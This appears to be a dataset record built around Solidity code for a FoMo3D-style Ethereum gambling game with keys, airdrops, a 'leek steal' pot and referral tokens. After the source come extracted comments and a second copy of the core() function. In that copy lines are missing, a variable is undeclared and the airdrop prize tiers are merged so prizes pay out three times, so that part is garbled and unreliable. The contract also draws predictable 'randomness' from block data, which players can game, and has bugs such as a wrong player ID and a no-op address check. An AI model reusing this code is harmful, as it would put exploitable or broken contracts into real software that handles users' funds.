plyr_[_pID].lrnd); plyr_[_pID].lrnd = rID_; // update player&#39;s last round played } // early round eth limiter (0-100 eth) uint256 _availableLimit; uint256 _refund; if (round_[_rID].eth < ethLimiterRange1_ && plyrRnds_[_pID][_rID].eth.add(_eth) > ethLimiter1_) { _availableLimit = (ethLimiter1_).sub(plyrRnds_[_pID][_rID].eth); _refund = _eth.sub(_availableLimit); plyr_[_pID].refund = plyr_[_pID].refund.add(_refund); _eth = _availableLimit; } else if (round_[_rID].eth < ethLimiterRange2_ && plyrRnds_[_pID][_rID].eth.add(_eth) > ethLimiter2_) { _availableLimit = (ethLimiter2_).sub(plyrRnds_[_pID][_rID].eth); _refund = _eth.sub(_availableLimit); plyr_[_pID].refund = plyr_[_pID].refund.add(_refund); _eth = _availableLimit; } // if eth left is greater than min eth allowed (sorry no pocket lint) if (_eth > 1e9) { // mint the new keys uint256 _keys = keysRec(round_[_rID].eth, _eth); // if they bought at least 1 whole key if (_keys >= 1e18) { updateTimer(_keys, _rID); // set new leaders if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; emit KeyPurchase(plyr_[round_[_rID].plyr].addr, _eth, _keys); } // manage airdrops if (_eth >= 1e17) { airDropTracker_++; if (airdrop() == true) { // gib muni uint256 _prize; if (_eth >= 1e19) { // calculate prize and give it to winner _prize = ((airDropPot_).mul(75)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); // adjust airDropPot airDropPot_ = (airDropPot_).sub(_prize); // let event know a tier 3 prize was won } else if (_eth >= 1e18 && _eth < 1e19) { // calculate prize and give it to winner _prize = ((airDropPot_).mul(50)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); // adjust airDropPot airDropPot_ = (airDropPot_).sub(_prize); // let event know a tier 2 prize was won } else if (_eth >= 1e17 && _eth < 1e18) { // calculate prize and give it to winner _prize = ((airDropPot_).mul(25)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); // adjust airDropPot airDropPot_ = (airDropPot_).sub(_prize); // let event know a tier 3 prize was won } // reset air drop tracker airDropTracker_ = 0; // NEW airDropCount_++; airDropWinners_[airDropCount_][_pID] = _prize; } } leekStealGo(); // update player plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); round_[_rID].playCtr++; playOrders_[round_[_rID].playCtr] = pID_; // for recording the 500 winners // update round round_[_rID].allkeys = _keys.add(round_[_rID].allkeys); round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); // distribute eth distributeExternal(_rID, _pID, _eth, _affID); distributeInternal(_rID, _pID, _eth, _keys); // manage gu-referral updateGuReferral(_pID, _affID, _eth); checkDoubledProfit(_pID, _rID); checkDoubledProfit(_affID, _rID); } } // zero out keys if the accumulated profit doubled function checkDoubledProfit(uint256 _pID, uint256 _rID) private { // if pID has no keys, skip this uint256 _keys = plyrRnds_[_pID][_rID].keys; if (_keys > 0) { uint256 _genVault = plyr_[_pID].gen; uint256 _genWithdraw = plyrRnds_[_pID][_rID].genWithdraw; uint256 _genEarning = calcUnMaskedKeyEarnings(_pID, plyr_[_pID].lrnd); uint256 _doubleProfit = (plyrRnds_[_pID][_rID].eth).mul(2); if (_genVault.add(_genWithdraw).add(_genEarning) >= _doubleProfit) { // put only calculated-remain-profit into gen vault uint256 _remainProfit = _doubleProfit.sub(_genVault).sub(_genWithdraw); plyr_[_pID].gen = _remainProfit.add(plyr_[_pID].gen); plyrRnds_[_pID][_rID].keyProfit = _remainProfit.add(plyrRnds_[_pID][_rID].keyProfit); // follow maskKey round_[_rID].keys = round_[_rID].keys.sub(_keys); plyrRnds_[_pID][_rID].keys = plyrRnds_[_pID][_rID].keys.sub(_keys); plyrRnds_[_pID][_rID].maskKey = 0; // treat this player like a new player } } } function keysRec(uint256 _curEth, uint256 _newEth) private returns (uint256) { uint256 _startEth; uint256 _incrRate; uint256 _initPrice; if (_curEth < priceStage1_) { _startEth = 0; _initPrice = 33333; //3e-5; _incrRate = 50000000; //2e-8; } else if (_curEth < priceStage2_) { _startEth = priceStage1_; _initPrice = 25000; // 4e-5; _incrRate = 50000000; //2e-8; } else if (_curEth < priceStage3_) { _startEth = priceStage2_; _initPrice = 20000; //5e-5; _incrRate = 50000000; //2e-8;; } else if (_curEth < priceStage4_) { _startEth = priceStage3_; _initPrice = 12500; //8e-5; _incrRate = 26666666; //3.75e-8; } else if (_curEth < priceStage5_) { _startEth = priceStage4_; _initPrice = 5000; //2e-4; _incrRate = 17777777; //5.625e-8; } else if (_curEth < priceStage6_) { _startEth = priceStage5_; _initPrice = 2500; // 4e-4; _incrRate = 10666666; //9.375e-8; } else if (_curEth < priceStage7_) { _startEth = priceStage6_; _initPrice = 1000; //0.001; _incrRate = 5688282; //1.758e-7; } else if (_curEth < priceStage8_) { _startEth = priceStage7_; _initPrice = 250; //0.004; _incrRate = 2709292; //3.691e-7; } else if (_curEth < priceStage9_) { _startEth = priceStage8_; _initPrice = 62; //0.016; _incrRate = 1161035; //8.613e-7; } else if (_curEth < priceStage10_) { _startEth = priceStage9_; _initPrice = 14; //0.071; _incrRate = 451467; //2.215e-6; } else if (_curEth < priceStage11_) { _startEth = priceStage10_; _initPrice = 2; //0.354; _incrRate = 144487; //6.921e-6; } else if (_curEth < priceStage12_) { _startEth = priceStage11_; _initPrice = 0; //2.126; _incrRate = 40128; //2.492e-5; } else { _startEth = priceStage12_; _initPrice = 0; _incrRate = 40128; //2.492e-5; } return _newEth.mul(((_incrRate.mul(_initPrice)) / (_incrRate.add(_initPrice.mul((_curEth.sub(_startEth))/1e18))))); } function updateGuReferral(uint256 _pID, uint256 _affID, uint256 _eth) private { uint256 _newPhID = updateGuPhrase(); // update phrase, and distribute remaining gu for the last phrase if (phID_ < _newPhID) { updateReferralMasks(phID_); plyr_[1].gu = (phrase_[_newPhID].guPoolAllocation / 10).add(plyr_[1].gu); // give 20% gu to community first, at the beginning of the phrase start plyr_[2].gu = (phrase_[_newPhID].guPoolAllocation / 10).add(plyr_[2].gu); // give 20% gu to community first, at the beginning of the phrase start phrase_[_newPhID].guGiven = (phrase_[_newPhID].guPoolAllocation / 5).add(phrase_[_newPhID].guGiven); allGuGiven_ = (phrase_[_newPhID].guPoolAllocation / 5).add(allGuGiven_); phID_ = _newPhID; // update the phrase ID } // update referral eth on affiliate if (_affID != 0 && _affID != _pID) { plyrPhas_[_affID][_newPhID].eth = _eth.add(plyrPhas_[_affID][_newPhID].eth); plyr_[_affID].referEth = _eth.add(plyr_[_affID].referEth); phrase_[_newPhID].eth = _eth.add(phrase_[_newPhID].eth); } uint256 _remainGuReward = phrase_[_newPhID].guPoolAllocation.sub(phrase_[_newPhID].guGiven); // if 1) one has referral amt larger than requirement, 2) has remaining => then distribute certain amt of Gu, i.e. update gu instead of adding gu if (plyrPhas_[_affID][_newPhID].eth >= phrase_[_newPhID].minEthRequired && _remainGuReward >= 1e18) { // check if need to reward more gu uint256 _totalReward = plyrPhas_[_affID][_newPhID].eth / phrase_[_newPhID].minEthRequired; _totalReward = _totalReward.mul(1e18); uint256 _rewarded = plyrPhas_[_affID][_newPhID].guRewarded; uint256 _toReward = _totalReward.sub(_rewarded); if (_remainGuReward < _toReward) _toReward = _remainGuReward; // give out gu reward if (_toReward > 0) { plyr_[_affID].gu = _toReward.add(plyr_[_affID].gu); // give gu to player plyrPhas_[_affID][_newPhID].guRewarded = _toReward.add(plyrPhas_[_affID][_newPhID].guRewarded); phrase_[_newPhID].guGiven = 1e18.add(phrase_[_newPhID].guGiven); allGuGiven_ = 1e18.add(allGuGiven_); } } } function updateReferralMasks(uint256 _phID) private { uint256 _remainGu = phrase_[phID_].guPoolAllocation.sub(phrase_[phID_].guGiven); if (_remainGu > 0 && phrase_[_phID].eth > 0) { // remaining gu per total ethIn in the phrase uint256 _gpe = (_remainGu.mul(1e18)) / phrase_[_phID].eth; phrase_[_phID].mask = _gpe.add(phrase_[_phID].mask); // should only added once } } function transferGu(address _to, uint256 _guAmt) public whenNotPaused_2 returns (bool) { require(_to != address(0)); if (_guAmt > 0) { uint256 _pIDFrom = pIDxAddr_[msg.sender]; uint256 _pIDTo = pIDxAddr_[_to]; require(plyr_[_pIDFrom].addr == msg.sender); require(plyr_[_pIDTo].addr == _to); // update profit for playerFrom uint256 _profit = (allMaskGu_.mul(_guAmt)/1e18).sub( (plyr_[_pIDFrom].maskGu.mul(_guAmt) / plyr_[_pIDFrom].gu) ); plyr_[_pIDFrom].genGu = _profit.add(plyr_[_pIDFrom].genGu); // put in genGu vault plyr_[_pIDFrom].guProfit = _profit.add(plyr_[_pIDFrom].guProfit); // update mask for playerFrom plyr_[_pIDFrom].maskGu = plyr_[_pIDFrom].maskGu.sub( (allMaskGu_.mul(_guAmt)/1e18).sub(_profit) ); // for playerTo plyr_[_pIDTo].maskGu = (allMaskGu_.mul(_guAmt)/1e18).add(plyr_[_pIDTo].maskGu); plyr_[_pIDFrom].gu = plyr_[_pIDFrom].gu.sub(_guAmt); plyr_[_pIDTo].gu = plyr_[_pIDTo].gu.add(_guAmt); return true; } else return false; } function updateGuPhrase() private returns (uint256) // return phraseNum { if (now <= contractStartDate_ + guPhrase1_) { phrase_[1].minEthRequired = 5e18; phrase_[1].guPoolAllocation = 100e18; return 1; } if (now <= contractStartDate_ + guPhrase2_) { phrase_[2].minEthRequired = 4e18; phrase_[2].guPoolAllocation = 200e18; return 2; } if (now <= contractStartDate_ + guPhrase3_) { phrase_[3].minEthRequired = 3e18; phrase_[3].guPoolAllocation = 400e18; return 3; } if (now <= contractStartDate_ + guPhrase4_) { phrase_[4].minEthRequired = 2e18; phrase_[4].guPoolAllocation = 800e18; return 4; } if (now <= contractStartDate_ + guPhrase5_) { phrase_[5].minEthRequired = 1e18; phrase_[5].guPoolAllocation = 1600e18; return 5; } if (now <= contractStartDate_ + guPhrase6_) { phrase_[6].minEthRequired = 1e18; phrase_[6].guPoolAllocation = 3200e18; return 6; } if (now <= contractStartDate_ + guPhrase7_) { phrase_[7].minEthRequired = 1e18; phrase_[7].guPoolAllocation = 6400e18; return 7; } if (now <= contractStartDate_ + guPhrase8_) { phrase_[8].minEthRequired = 1e18; phrase_[8].guPoolAllocation = 12800e18; return 8; } if (now <= contractStartDate_ + guPhrase9_) { phrase_[9].minEthRequired = 1e18; phrase_[9].guPoolAllocation = 25600e18; return 9; } if (now <= contractStartDate_ + guPhrase10_) { phrase_[10].minEthRequired = 1e18; phrase_[10].guPoolAllocation = 51200e18; return 10; } phrase_[11].minEthRequired = 0; phrase_[11].guPoolAllocation = 0; return 11; } function calcUnMaskedKeyEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { if ( (((round_[_rIDlast].maskKey).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1e18)) > (plyrRnds_[_pID][_rIDlast].maskKey) ) return( (((round_[_rIDlast].maskKey).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1e18)).sub(plyrRnds_[_pID][_rIDlast].maskKey) ); else return 0; } function calcUnMaskedGuEarnings(uint256 _pID) private view returns(uint256) { if ( ((allMaskGu_.mul(plyr_[_pID].gu)) / (1e18)) > (plyr_[_pID].maskGu) ) return( ((allMaskGu_.mul(plyr_[_pID].gu)) / (1e18)).sub(plyr_[_pID].maskGu) ); else return 0; } function endRound() private { // setup local rID uint256 _rID = rID_; // grab our winning player id uint256 _winPID = round_[_rID].plyr; // grab our pot amount uint256 _pot = round_[_rID].pot; // calculate our winner share, community rewards, gen share, // jcg share, and amount reserved for next pot uint256 _win = (_pot.mul(40)) / 100; uint256 _res = (_pot.mul(10)) / 100; // pay our winner plyr_[_winPID].win = _win.add(plyr_[_winPID].win); // pay the rest of the 500 winners pay500Winners(_pot); // start next round rID_++; _rID++; round_[_rID].strt = now; round_[_rID].end = now.add(rndInit_); round_[_rID].pot = _res; } function pay500Winners(uint256 _pot) private { uint256 _rID = rID_; uint256 _plyCtr = round_[_rID].playCtr; // pay the 2-10th uint256 _win2 = _pot.mul(25).div(100).div(9); for (uint256 i = _plyCtr.sub(9); i <= _plyCtr.sub(1); i++) { plyr_[playOrders_[i]].win = _win2.add(plyr_[playOrders_[i]].win); } // pay the 11-100th uint256 _win3 = _pot.mul(15).div(100).div(90); for (uint256 j = _plyCtr.sub(99); j <= _plyCtr.sub(10); j++) { plyr_[playOrders_[j]].win = _win3.add(plyr_[playOrders_[j]].win); } // pay the 101-500th uint256 _win4 = _pot.mul(10).div(100).div(400); for (uint256 k = _plyCtr.sub(499); k <= _plyCtr.sub(100); k++) { plyr_[playOrders_[k]].win = _win4.add(plyr_[playOrders_[k]].win); } } function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedKeyEarnings(_pID, _rIDlast); if (_earnings > 0) { // put in gen vault plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); // zero out their earnings by updating mask plyrRnds_[_pID][_rIDlast].maskKey = _earnings.add(plyrRnds_[_pID][_rIDlast].maskKey); plyrRnds_[_pID][_rIDlast].keyProfit = _earnings.add(plyrRnds_[_pID][_rIDlast].keyProfit); // NEW: follow maskKey } } function updateGenGuVault(uint256 _pID) private { uint256 _earnings = calcUnMaskedGuEarnings(_pID); if (_earnings > 0) { // put in genGu vault plyr_[_pID].genGu = _earnings.add(plyr_[_pID].genGu); // zero out their earnings by updating mask plyr_[_pID].maskGu = _earnings.add(plyr_[_pID].maskGu); plyr_[_pID].guProfit = _earnings.add(plyr_[_pID].guProfit); } } // update gu-reward for referrals function updateReferralGu(uint256 _pID) private { // get current phID uint256 _phID = phID_; // get last claimed phID till uint256 _lastClaimedPhID = plyr_[_pID].lastClaimedPhID; if (_phID > _lastClaimedPhID) { // calculate the gu Shares using these two input uint256 _guShares; for (uint i = (_lastClaimedPhID + 1); i < _phID; i++) { _guShares = (((phrase_[i].mask).mul(plyrPhas_[_pID][i].eth))/1e18).add(_guShares); // update record plyr_[_pID].lastClaimedPhID = i; phrase_[i].guGiven = _guShares.add(phrase_[i].guGiven); plyrPhas_[_pID][i].guRewarded = _guShares.add(plyrPhas_[_pID][i].guRewarded); } // put gu in player plyr_[_pID].gu = _guShares.add(plyr_[_pID].gu); // zero out their earnings by updating mask plyr_[_pID].maskGu = ((allMaskGu_.mul(_guShares)) / 1e18).add(plyr_[_pID].maskGu); allGuGiven_ = _guShares.add(allGuGiven_); } } function updateTimer(uint256 _keys, uint256 _rID) private { // grab time uint256 _now = now; // calculate time based on number of keys bought uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); // compare to max and set new end time if (_newTime < (rndMax_).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = rndMax_.add(_now); } function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return(true); else return(false); } function randomNum(uint256 _tracker) private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < _tracker) return(true); else return(false); } function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID) private { // pay 2% out to community rewards uint256 _com = _eth / 100; address(WALLET_ETH_COM1).transfer(_com); // 1% address(WALLET_ETH_COM2).transfer(_com); // 1% // distribute 10% share to affiliate (8% + 2%) uint256 _aff = _eth / 10; // check: affiliate must not be self, and must have an ID if (_affID != _pID && _affID != 0) { plyr_[_affID].aff = (_aff.mul(8)/10).add(plyr_[_affID].aff); // distribute 8% to 1st aff uint256 _affID2 = plyr_[_affID].laff; // get 2nd aff if (_affID2 != _pID && _affID2 != 0) { plyr_[_affID2].aff = (_aff.mul(2)/10).add(plyr_[_affID2].aff); // distribute 2% to 2nd aff } } else { plyr_[1].aff = _aff.add(plyr_[_affID].aff); } } function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _keys) private { // calculate gen share uint256 _gen = (_eth.mul(40)) / 100; // 40% // calculate jcg share uint256 _jcg = (_eth.mul(20)) / 100; // 20% // toss 3% into airdrop pot uint256 _air = (_eth.mul(3)) / 100; airDropPot_ = airDropPot_.add(_air); // toss 5% into leeksteal pot uint256 _steal = (_eth / 20); leekStealPot_ = leekStealPot_.add(_steal); // update eth balance (eth = eth - (2% com share + 3% airdrop + 5% leekSteal + 10% aff share)) _eth = _eth.sub(((_eth.mul(20)) / 100)); // calculate pot uint256 _pot = _eth.sub(_gen).sub(_jcg); // distribute gen n jcg share (thats what updateMasks() does) and adjust // balances for dust. uint256 _dustKey = updateKeyMasks(_rID, _pID, _gen, _keys); uint256 _dustGu = updateGuMasks(_pID, _jcg); // add eth to pot round_[_rID].pot = _pot.add(_dustKey).add(_dustGu).add(round_[_rID].pot); } // update profit to key-holders function updateKeyMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { // calc profit per key & round mask based on this buy: (dust goes to pot) uint256 _ppt = (_gen.mul(1e18)) / (round_[_rID].keys); round_[_rID].maskKey = _ppt.add(round_[_rID].maskKey); // calculate player earning from their own buy (only based on the keys // they just bought). & update player earnings mask uint256 _pearn = (_ppt.mul(_keys)) / (1e18); plyrRnds_[_pID][_rID].maskKey = (((round_[_rID].maskKey.mul(_keys)) / (1e18)).sub(_pearn)).add(plyrRnds_[_pID][_rID].maskKey); // calculate & return dust return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1e18))); } // update profit to gu-holders function updateGuMasks(uint256 _pID, uint256 _jcg) private returns(uint256) { if (allGuGiven_ > 0) { // calc profit per gu & round mask based on this buy: (dust goes to pot) uint256 _ppg = (_jcg.mul(1e18)) / allGuGiven_; allMaskGu_ = _ppg.add(allMaskGu_); // calculate & return dust return (_jcg.sub((_ppg.mul(allGuGiven_)) / (1e18))); } else { return _jcg; } } function withdrawEarnings(uint256 _pID, bool isWithdraw) whenNotPaused_3 private returns(uint256) { uint256 _rID = plyr_[_pID].lrnd; updateGenGuVault(_pID); updateReferralGu(_pID); checkDoubledProfit(_pID, _rID); updateGenVault(_pID, _rID); // from all vaults uint256 _earnings = plyr_[_pID].gen.add(plyr_[_pID].win).add(plyr_[_pID].genGu).add(plyr_[_pID].aff).add(plyr_[_pID].refund); if (_earnings > 0) { if (isWithdraw) { plyrRnds_[_pID][_rID].winWithdraw = plyr_[_pID].win.add(plyrRnds_[_pID][_rID].winWithdraw); plyrRnds_[_pID][_rID].genWithdraw = plyr_[_pID].gen.add(plyrRnds_[_pID][_rID].genWithdraw); // for doubled profit plyrRnds_[_pID][_rID].genGuWithdraw = plyr_[_pID].genGu.add(plyrRnds_[_pID][_rID].genGuWithdraw); plyrRnds_[_pID][_rID].affWithdraw = plyr_[_pID].aff.add(plyrRnds_[_pID][_rID].affWithdraw); plyrRnds_[_pID][_rID].refundWithdraw = plyr_[_pID].refund.add(plyrRnds_[_pID][_rID].refundWithdraw); plyr_[_pID].withdraw = _earnings.add(plyr_[_pID].withdraw); round_[_rID].withdraw = _earnings.add(round_[_rID].withdraw); } plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].genGu = 0; plyr_[_pID].aff = 0; plyr_[_pID].refund = 0; } return(_earnings); } bool public activated_ = false; function activate() onlyOwner public { // can only be ran once require(activated_ == false); // activate the contract activated_ = true; contractStartDate_ = now; // lets start first round rID_ = 1; round_[1].strt = now; round_[1].end = now + rndInit_; } function leekStealGo() private { // get a number for today dayNum uint leekStealToday_ = (now.sub(round_[rID_].strt)) / 1 days; if (dayStealTime_[leekStealToday_] == 0) // if there hasn&#39;t a winner today, proceed { leekStealTracker_++; if (randomNum(leekStealTracker_) == true) { dayStealTime_[leekStealToday_] = now; leekStealOn_ = true; } } } function stealTheLeek() whenNotPaused_4 public { if (leekStealOn_) { if (now.sub(dayStealTime_[leekStealToday_]) > 300) // if time passed 5min, turn off and exit { leekStealOn_ = false; } else { // if yes then assign the 1eth, if the pool has 1eth if (leekStealPot_ > 1e18) { uint256 _pID = pIDxAddr_[msg.sender]; // fetch player ID plyr_[_pID].win = plyr_[_pID].win.add(1e18); leekStealPot_ = leekStealPot_.sub(1e18); leekStealWins_[_pID] = leekStealWins_[_pID].add(1e18); } } } } // Getters ==================== function getPrice() public view returns(uint256) { uint256 keys = keysRec(round_[rID_].eth, 1e18); return (1e36 / keys); } function getTimeLeft() public view returns(uint256) { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt) return( (round_[_rID].end).sub(_now) ); else return( (round_[_rID].strt).sub(_now) ); else return(0); } function getDisplayGenVault(uint256 _pID) private view returns(uint256) { uint256 _rID = rID_; uint256 _lrnd = plyr_[_pID].lrnd; uint256 _genVault = plyr_[_pID].gen; uint256 _genEarning = calcUnMaskedKeyEarnings(_pID, _lrnd); uint256 _doubleProfit = (plyrRnds_[_pID][_rID].eth).mul(2); uint256 _displayGenVault = _genVault.add(_genEarning); if (_genVault.add(_genEarning) > _doubleProfit) _displayGenVault = _doubleProfit; return _displayGenVault; } function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256, uint256, uint256) { uint256 _rID = rID_; // if round has ended. but round end has not been run (so contract has not distributed winnings) if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { uint256 _winVault; if (round_[_rID].plyr == _pID) // if player is winner { _winVault = (plyr_[_pID].win).add( ((round_[_rID].pot).mul(40)) / 100 ); } else { _winVault = plyr_[_pID].win; } return ( _winVault, getDisplayGenVault(_pID), (plyr_[_pID].genGu).add(calcUnMaskedGuEarnings(_pID)), plyr_[_pID].aff, plyr_[_pID].refund ); // if round is still going on, or round has ended and round end has been ran } else { return ( plyr_[_pID].win, getDisplayGenVault(_pID), (plyr_[_pID].genGu).add(calcUnMaskedGuEarnings(_pID)), plyr_[_pID].aff, plyr_[_pID].refund ); } } function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, uint256, uint256) { // setup local rID uint256 _rID = rID_; return ( _rID, //0 round_[_rID].allkeys, //1 round_[_rID].keys, //2 allGuGiven_, //3 round_[_rID].end, //4 round_[_rID].strt, //5 round_[_rID].pot, //6 plyr_[round_[_rID].plyr].addr, //7 round_[_rID].eth, //8 airDropTracker_ + (airDropPot_ * 1000) //9 ); } function getCurrentPhraseInfo() public view returns(uint256, uint256, uint256, uint256, uint256) { // setup local phID uint256 _phID = phID_; return ( _phID, //0 phrase_[_phID].eth, //1 phrase_[_phID].guGiven, //2 phrase_[_phID].minEthRequired, //3 phrase_[_phID].guPoolAllocation //4 ); } function getPlayerInfoByAddress(address _addr) public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256) { // setup local rID, phID uint256 _rID = rID_; uint256 _phID = phID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, // 0 plyrRnds_[_pID][_rID].keys, //1 plyr_[_pID].gu, //2 plyr_[_pID].laff, //3 (plyr_[_pID].gen).add(calcUnMaskedKeyEarnings(_pID, plyr_[_pID].lrnd)).add(plyr_[_pID].genGu).add(calcUnMaskedGuEarnings(_pID)), //4 plyr_[_pID].aff, //5 plyrRnds_[_pID][_rID].eth, //6 totalIn for the round plyrPhas_[_pID][_phID].eth, //7 curr phrase referral eth plyr_[_pID].referEth, // 8 total referral eth plyr_[_pID].withdraw // 9 totalOut ); } function getPlayerWithdrawal(uint256 _pID, uint256 _rID) public view returns(uint256, uint256, uint256, uint256, uint256) { return ( plyrRnds_[_pID][_rID].winWithdraw, //0 plyrRnds_[_pID][_rID].genWithdraw, //1 plyrRnds_[_pID][_rID].genGuWithdraw, //2 plyrRnds_[_pID][_rID].affWithdraw, //3 plyrRnds_[_pID][_rID].refundWithdraw //4 ); } } library Datasets { struct Player { address addr; // player address uint256 win; // winnings vault uint256 gen; // general vault uint256 genGu; // general gu vault uint256 aff; // affiliate vault uint256 refund; // refund vault uint256 lrnd; // last round played uint256 laff; // last affiliate id used uint256 withdraw; // sum of withdraw uint256 maskGu; // player mask gu: for sharing eth-profit by holding gu uint256 gu; uint256 guProfit; // record profit by gu uint256 referEth; // total referral eth uint256 lastClaimedPhID; // at which phID player has claimed the remaining gu } struct PlayerRounds { uint256 eth; // eth player has added to round uint256 keys; // keys uint256 keyProfit; // record key profit uint256 maskKey; // player mask key: for sharing eth-profit by holding keys uint256 winWithdraw; // eth withdraw from gen vault uint256 genWithdraw; // eth withdraw from gen vault uint256 genGuWithdraw; // eth withdraw from gen vault uint256 affWithdraw; // eth withdraw from gen vault uint256 refundWithdraw; // eth withdraw from gen vault } struct Round { uint256 plyr; // pID of player in lead uint256 end; // time ends/ended bool ended; // has round end function been ran uint256 strt; // time round started uint256 allkeys; // all keys uint256 keys; // active keys uint256 eth; // total eth in uint256 pot; // eth to pot (during round) / final amount paid to winner (after round ends) uint256 maskKey; // global mask on key shares: for sharing eth-profit by holding keys uint256 playCtr; // play counter for playOrders uint256 withdraw; } struct PlayerPhrases { uint256 eth; // amount of eth in of the referral uint256 guRewarded; // if have taken the gu through referral } struct Phrase { uint256 eth; // amount of total eth in of the referral uint256 guGiven; // amount of gu distributed uint256 mask; // a rate of remainGu per ethIn shares: for sharing gu-reward by referral eth uint256 minEthRequired; // min refer.eth to get 1 gu uint256 guPoolAllocation; // total number of gu } } library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, "SafeMath mul failed"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath sub failed"); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, "SafeMath add failed"); return c; } /** * @dev gives square root of given x. */ function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } /** * @dev gives square. multiplies x by x */ function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } /** * @dev x to the power of y */ function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } }
if player is new to current round if player has played a previous round, move their unmasked earnings from that round to gen vault. mint the new keys if they bought at least 1 whole key set new leaders gib muni calculate prize and give it to winner adjust airDropPot let event know a tier 3 prize was won calculate prize and give it to winner adjust airDropPot let event know a tier 2 prize was won calculate prize and give it to winner adjust airDropPot let event know a tier 3 prize was won
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID) private { if (plyrRnds_[_pID][_rID].keys == 0) { if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); } uint256 _refund; if (round_[_rID].eth < ethLimiterRange1_ && plyrRnds_[_pID][_rID].eth.add(_eth) > ethLimiter1_) { _availableLimit = (ethLimiter1_).sub(plyrRnds_[_pID][_rID].eth); _refund = _eth.sub(_availableLimit); plyr_[_pID].refund = plyr_[_pID].refund.add(_refund); _eth = _availableLimit; } else if (round_[_rID].eth < ethLimiterRange2_ && plyrRnds_[_pID][_rID].eth.add(_eth) > ethLimiter2_) { _availableLimit = (ethLimiter2_).sub(plyrRnds_[_pID][_rID].eth); _refund = _eth.sub(_availableLimit); plyr_[_pID].refund = plyr_[_pID].refund.add(_refund); _eth = _availableLimit; } { uint256 _keys = keysRec(round_[_rID].eth, _eth); if (_keys >= 1e18) { updateTimer(_keys, _rID); if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; emit KeyPurchase(plyr_[round_[_rID].plyr].addr, _eth, _keys); } { airDropTracker_++; if (airdrop() == true) { uint256 _prize; if (_eth >= 1e19) { _prize = ((airDropPot_).mul(75)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _prize = ((airDropPot_).mul(50)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _prize = ((airDropPot_).mul(25)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); } airDropWinners_[airDropCount_][_pID] = _prize; } } leekStealGo(); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); round_[_rID].playCtr++; round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); distributeInternal(_rID, _pID, _eth, _keys); checkDoubledProfit(_pID, _rID); checkDoubledProfit(_affID, _rID); } }
2,160,751
